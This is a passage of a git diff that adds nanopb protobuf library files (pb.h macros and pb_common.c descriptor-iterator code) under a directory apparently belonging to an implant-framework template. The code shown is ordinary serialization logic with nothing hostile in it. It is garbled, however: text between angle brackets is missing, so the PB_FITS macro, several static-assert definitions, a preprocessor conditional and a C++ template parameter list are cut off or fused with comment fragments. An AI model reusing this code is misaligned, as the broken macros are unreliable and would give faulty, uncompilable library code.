array_size) + +/* X-macro for generating asserts that entries fit in struct_field_info[] array. + * The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(), + * but it is not easily reused because of how macro substitutions work. */ +#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \ + PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \ + tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \ + PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \ + PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname)) + +#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \ + PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size) + +#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname) +#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname) +#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname) + +#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname) +#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname) +#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname)) +#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) +#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname) +#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname) +#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count) +#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname) +#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname) +#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0 +#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0 + +#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname) +#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname) +#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1 +#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0]) + +#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname) +#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname) +#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname) +#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0]) +#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0]) +#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0]) +#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)) +#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname) +#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname) + +#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple) +#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname +#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername +#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname + +#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \ + PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname) + +#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname)) +#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) +#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE) +#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE) +#define PB_SI_PB_LTYPE_BOOL(t) +#define PB_SI_PB_LTYPE_BYTES(t) +#define PB_SI_PB_LTYPE_DOUBLE(t) +#define PB_SI_PB_LTYPE_ENUM(t) +#define PB_SI_PB_LTYPE_UENUM(t) +#define PB_SI_PB_LTYPE_FIXED32(t) +#define PB_SI_PB_LTYPE_FIXED64(t) +#define PB_SI_PB_LTYPE_FLOAT(t) +#define PB_SI_PB_LTYPE_INT32(t) +#define PB_SI_PB_LTYPE_INT64(t) +#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t) +#define PB_SI_PB_LTYPE_SFIXED32(t) +#define PB_SI_PB_LTYPE_SFIXED64(t) +#define PB_SI_PB_LTYPE_SINT32(t) +#define PB_SI_PB_LTYPE_SINT64(t) +#define PB_SI_PB_LTYPE_STRING(t) +#define PB_SI_PB_LTYPE_UINT32(t) +#define PB_SI_PB_LTYPE_UINT64(t) +#define PB_SI_PB_LTYPE_EXTENSION(t) +#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t) +#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg), + +/* The field descriptors use a variable width format, with width of either + * 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always + * encode the descriptor size, 6 lowest bits of field tag number, and 8 bits + * of the field type. + * + * Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words. + * + * Formats, listed starting with the least significant bit of the first word. + * 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size] + * + * 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset] + * [16-bit data_offset] [12-bit data_size] [4-bit tag>>6] + * + * 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * + * 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved] + * [8-bit size_offset] [24-bit tag>>6] + * [32-bit data_offset] + * [32-bit data_size] + * [32-bit array_size] + * [32-bit reserved] + * [32-bit reserved] + * [32-bit reserved] + */ + +#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \ + (0 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \ + (((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)), + +#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \ + (1 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \ + (((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)), + +#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \ + (2 | (((tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), + +#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \ + (3 | (((tag) << 2) & 0xFF) | ((type) << 8)), \ + ((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \ + (data_offset), (data_size), (array_size), 0, 0, 0, + +/* These assertions verify that the field information fits in the allocated space. + * The generator tries to automatically determine the correct width that can fit all + * data associated with a message. These asserts will fail only if there has been a + * problem in the automatic logic - this may be worth reporting as a bug. As a workaround, + * you can increase the descriptor width by defining PB_FIELDINFO_WIDTH or by setting + * descriptorsize option in .options file. + */ +#define PB_FITS(value,bits) ((uint32_t)(value) < ((uint32_t)1<2GB messages with nanopb anyway. + */ +#define PB_FIELDINFO_ASSERT_4(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,16), FIELDINFO_DOES_NOT_FIT_width4_field ## tag) + +#define PB_FIELDINFO_ASSERT_8(tag, type, data_offset, data_size, size_offset, array_size) \ + PB_STATIC_ASSERT(PB_FITS(tag,30) && PB_FITS(data_offset,31) && PB_FITS(size_offset,8) && PB_FITS(data_size,31) && PB_FITS(array_size,31), FIELDINFO_DOES_NOT_FIT_width8_field ## tag) +#endif + + +/* Automatic picking of FIELDINFO width: + * Uses width 1 when possible, otherwise resorts to width 2. + * This is used when PB_BIND() is called with "AUTO" as the argument. + * The generator will give explicit size argument when it knows that a message + * structure grows beyond 1-word format limits. + */ +#define PB_FIELDINFO_WIDTH_AUTO(atype, htype, ltype) PB_FI_WIDTH ## atype(htype, ltype) +#define PB_FI_WIDTH_PB_ATYPE_STATIC(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_POINTER(htype, ltype) PB_FI_WIDTH ## htype(ltype) +#define PB_FI_WIDTH_PB_ATYPE_CALLBACK(htype, ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_REQUIRED(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_SINGULAR(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_OPTIONAL(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_ONEOF(ltype) PB_FI_WIDTH ## ltype +#define PB_FI_WIDTH_PB_HTYPE_REPEATED(ltype) 2 +#define PB_FI_WIDTH_PB_HTYPE_FIXARRAY(ltype) 2 +#define PB_FI_WIDTH_PB_LTYPE_BOOL 1 +#define PB_FI_WIDTH_PB_LTYPE_BYTES 2 +#define PB_FI_WIDTH_PB_LTYPE_DOUBLE 1 +#define PB_FI_WIDTH_PB_LTYPE_ENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_UENUM 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_FLOAT 1 +#define PB_FI_WIDTH_PB_LTYPE_INT32 1 +#define PB_FI_WIDTH_PB_LTYPE_INT64 1 +#define PB_FI_WIDTH_PB_LTYPE_MESSAGE 2 +#define PB_FI_WIDTH_PB_LTYPE_MSG_W_CB 2 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED32 1 +#define PB_FI_WIDTH_PB_LTYPE_SFIXED64 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_SINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_STRING 2 +#define PB_FI_WIDTH_PB_LTYPE_UINT32 1 +#define PB_FI_WIDTH_PB_LTYPE_UINT64 1 +#define PB_FI_WIDTH_PB_LTYPE_EXTENSION 1 +#define PB_FI_WIDTH_PB_LTYPE_FIXED_LENGTH_BYTES 2 + +/* The mapping from protobuf types to LTYPEs is done using these macros. */ +#define PB_LTYPE_MAP_BOOL PB_LTYPE_BOOL +#define PB_LTYPE_MAP_BYTES PB_LTYPE_BYTES +#define PB_LTYPE_MAP_DOUBLE PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_ENUM PB_LTYPE_VARINT +#define PB_LTYPE_MAP_UENUM PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_FIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_FIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_FLOAT PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_INT32 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_INT64 PB_LTYPE_VARINT +#define PB_LTYPE_MAP_MESSAGE PB_LTYPE_SUBMESSAGE +#define PB_LTYPE_MAP_MSG_W_CB PB_LTYPE_SUBMSG_W_CB +#define PB_LTYPE_MAP_SFIXED32 PB_LTYPE_FIXED32 +#define PB_LTYPE_MAP_SFIXED64 PB_LTYPE_FIXED64 +#define PB_LTYPE_MAP_SINT32 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_SINT64 PB_LTYPE_SVARINT +#define PB_LTYPE_MAP_STRING PB_LTYPE_STRING +#define PB_LTYPE_MAP_UINT32 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_UINT64 PB_LTYPE_UVARINT +#define PB_LTYPE_MAP_EXTENSION PB_LTYPE_EXTENSION +#define PB_LTYPE_MAP_FIXED_LENGTH_BYTES PB_LTYPE_FIXED_LENGTH_BYTES + +/* These macros are used for giving out error messages. + * They are mostly a debugging aid; the main error information + * is the true/false return value from functions. + * Some code space can be saved by disabling the error + * messages if not used. + * + * PB_SET_ERROR() sets the error message if none has been set yet. + * msg must be a constant string literal. + * PB_GET_ERROR() always returns a pointer to a string. + * PB_RETURN_ERROR() sets the error and returns false from current + * function. + */ +#ifdef PB_NO_ERRMSG +#define PB_SET_ERROR(stream, msg) PB_UNUSED(stream) +#define PB_GET_ERROR(stream) "(errmsg disabled)" +#else +#define PB_SET_ERROR(stream, msg) (stream->errmsg = (stream)->errmsg ? (stream)->errmsg : (msg)) +#define PB_GET_ERROR(stream) ((stream)->errmsg ? (stream)->errmsg : "(none)") +#endif + +#define PB_RETURN_ERROR(stream, msg) return PB_SET_ERROR(stream, msg), false + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#ifdef __cplusplus +#if __cplusplus >= 201103L +#define PB_CONSTEXPR constexpr +#else // __cplusplus >= 201103L +#define PB_CONSTEXPR +#endif // __cplusplus >= 201103L + +#if __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR inline constexpr +#else // __cplusplus >= 201703L +#define PB_INLINE_CONSTEXPR PB_CONSTEXPR +#endif // __cplusplus >= 201703L + +extern "C++" +{ +namespace nanopb { +// Each type will be partially specialized by the generator. +template struct MessageDescriptor; +} // namespace nanopb +} +#endif /* __cplusplus */ + +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.c b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.c new file mode 100644 index 0000000..6aee76b --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb_common.c @@ -0,0 +1,388 @@ +/* pb_common.c: Common support functions for pb_encode.c and pb_decode.c. + * + * 2014 Petteri Aimonen + */ + +#include "pb_common.h" + +static bool load_descriptor_values(pb_field_iter_t *iter) +{ + uint32_t word0; + uint32_t data_offset; + int_least8_t size_offset; + + if (iter->index >= iter->descriptor->field_count) + return false; + + word0 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + iter->type = (pb_type_t)((word0 >> 8) & 0xFF); + + switch(word0 & 3) + { + case 0: { + /* 1-word format */ + iter->array_size = 1; + iter->tag = (pb_size_t)((word0 >> 2) & 0x3F); + size_offset = (int_least8_t)((word0 >> 24) & 0x0F); + data_offset = (word0 >> 16) & 0xFF; + iter->data_size = (pb_size_t)((word0 >> 28) & 0x0F); + break; + } + + case 1: { + /* 2-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + + iter->array_size = (pb_size_t)((word0 >> 16) & 0x0FFF); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 28) << 6)); + size_offset = (int_least8_t)((word0 >> 28) & 0x0F); + data_offset = word1 & 0xFFFF; + iter->data_size = (pb_size_t)((word1 >> 16) & 0x0FFF); + break; + } + + case 2: { + /* 4-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + + iter->array_size = (pb_size_t)(word0 >> 16); + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + + default: { + /* 8-word format */ + uint32_t word1 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 1]); + uint32_t word2 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 2]); + uint32_t word3 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 3]); + uint32_t word4 = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index + 4]); + + iter->array_size = (pb_size_t)word4; + iter->tag = (pb_size_t)(((word0 >> 2) & 0x3F) | ((word1 >> 8) << 6)); + size_offset = (int_least8_t)(word1 & 0xFF); + data_offset = word2; + iter->data_size = (pb_size_t)word3; + break; + } + } + + if (!iter->message) + { + /* Avoid doing arithmetic on null pointers, it is undefined */ + iter->pField = NULL; + iter->pSize = NULL; + } + else + { + iter->pField = (char*)iter->message + data_offset; + + if (size_offset) + { + iter->pSize = (char*)iter->pField - size_offset; + } + else if (PB_HTYPE(iter->type) == PB_HTYPE_REPEATED && + (PB_ATYPE(iter->type) == PB_ATYPE_STATIC || + PB_ATYPE(iter->type) == PB_ATYPE_POINTER)) + { + /* Fixed count array */ + iter->pSize = &iter->array_size; + } + else + { + iter->pSize = NULL; + } + + if (PB_ATYPE(iter->type) == PB_ATYPE_POINTER && iter->pField != NULL) + { + iter->pData = *(void**)iter->pField; + } + else + { + iter->pData = iter->pField; + } + } + + if (PB_LTYPE_IS_SUBMSG(iter->type)) + { + iter->submsg_desc = iter->descriptor->submsg_info[iter->submessage_index]; + } + else + { + iter->submsg_desc = NULL; + } + + return true; +} + +static void advance_iterator(pb_field_iter_t *iter) +{ + iter->index++; + + if (iter->index >= iter->descriptor->field_count) + { + /* Restart */ + iter->index = 0; + iter->field_info_index = 0; + iter->submessage_index = 0; + iter->required_field_index = 0; + } + else + { + /* Increment indexes based on previous field type. + * All field info formats have the following fields: + * - lowest 2 bits tell the amount of words in the descriptor (2^n words) + * - bits 2..7 give the lowest bits of tag number. + * - bits 8..15 give the field type. + */ + uint32_t prev_descriptor = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + pb_type_t prev_type = (prev_descriptor >> 8) & 0xFF; + pb_size_t descriptor_len = (pb_size_t)(1 << (prev_descriptor & 3)); + + /* Add to fields. + * The cast to pb_size_t is needed to avoid -Wconversion warning. + * Because the data is is constants from generator, there is no danger of overflow. + */ + iter->field_info_index = (pb_size_t)(iter->field_info_index + descriptor_len); + iter->required_field_index = (pb_size_t)(iter->required_field_index + (PB_HTYPE(prev_type) == PB_HTYPE_REQUIRED)); + iter->submessage_index = (pb_size_t)(iter->submessage_index + PB_LTYPE_IS_SUBMSG(prev_type)); + } +} + +bool pb_field_iter_begin(pb_field_iter_t *iter, const pb_msgdesc_t *desc, void *message) +{ + memset(iter, 0, sizeof(*iter)); + + iter->descriptor = desc; + iter->message = message; + + return load_descriptor_values(iter); +} + +bool pb_field_iter_begin_extension(pb_field_iter_t *iter, pb_extension_t *extension) +{ + const pb_msgdesc_t *msg = (const pb_msgdesc_t*)extension->type->arg; + bool status; + + uint32_t word0 = PB_PROGMEM_READU32(msg->field_info[0]); + if (PB_ATYPE(word0 >> 8) == PB_ATYPE_POINTER) + { + /* For pointer extensions, the pointer is stored directly + * in the extension structure. This avoids having an extra + * indirection. */ + status = pb_field_iter_begin(iter, msg, &extension->dest); + } + else + { + status = pb_field_iter_begin(iter, msg, extension->dest); + } + + iter->pSize = &extension->found; + return status; +} + +bool pb_field_iter_next(pb_field_iter_t *iter) +{ + advance_iterator(iter); + (void)load_descriptor_values(iter); + return iter->index != 0; +} + +bool pb_field_iter_find(pb_field_iter_t *iter, uint32_t tag) +{ + if (iter->tag == tag) + { + return true; /* Nothing to do, correct field already. */ + } + else if (tag > iter->descriptor->largest_tag) + { + return false; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + if (tag < iter->tag) + { + /* Fields are in tag number order, so we know that tag is between + * 0 and our start position. Setting index to end forces + * advance_iterator() call below to restart from beginning. */ + iter->index = iter->descriptor->field_count; + } + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for tag number match */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (((fieldinfo >> 2) & 0x3F) == (tag & 0x3F)) + { + /* Good candidate, check further */ + (void)load_descriptor_values(iter); + + if (iter->tag == tag && + PB_LTYPE(iter->type) != PB_LTYPE_EXTENSION) + { + /* Found it */ + return true; + } + } + } while (iter->index != start); + + /* Searched all the way back to start, and found nothing. */ + (void)load_descriptor_values(iter); + return false; + } +} + +bool pb_field_iter_find_extension(pb_field_iter_t *iter) +{ + if (PB_LTYPE(iter->type) == PB_LTYPE_EXTENSION) + { + return true; + } + else + { + pb_size_t start = iter->index; + uint32_t fieldinfo; + + do + { + /* Advance iterator but don't load values yet */ + advance_iterator(iter); + + /* Do fast check for field type */ + fieldinfo = PB_PROGMEM_READU32(iter->descriptor->field_info[iter->field_info_index]); + + if (PB_LTYPE((fieldinfo >> 8) & 0xFF) == PB_LTYPE_EXTENSION) + { + return 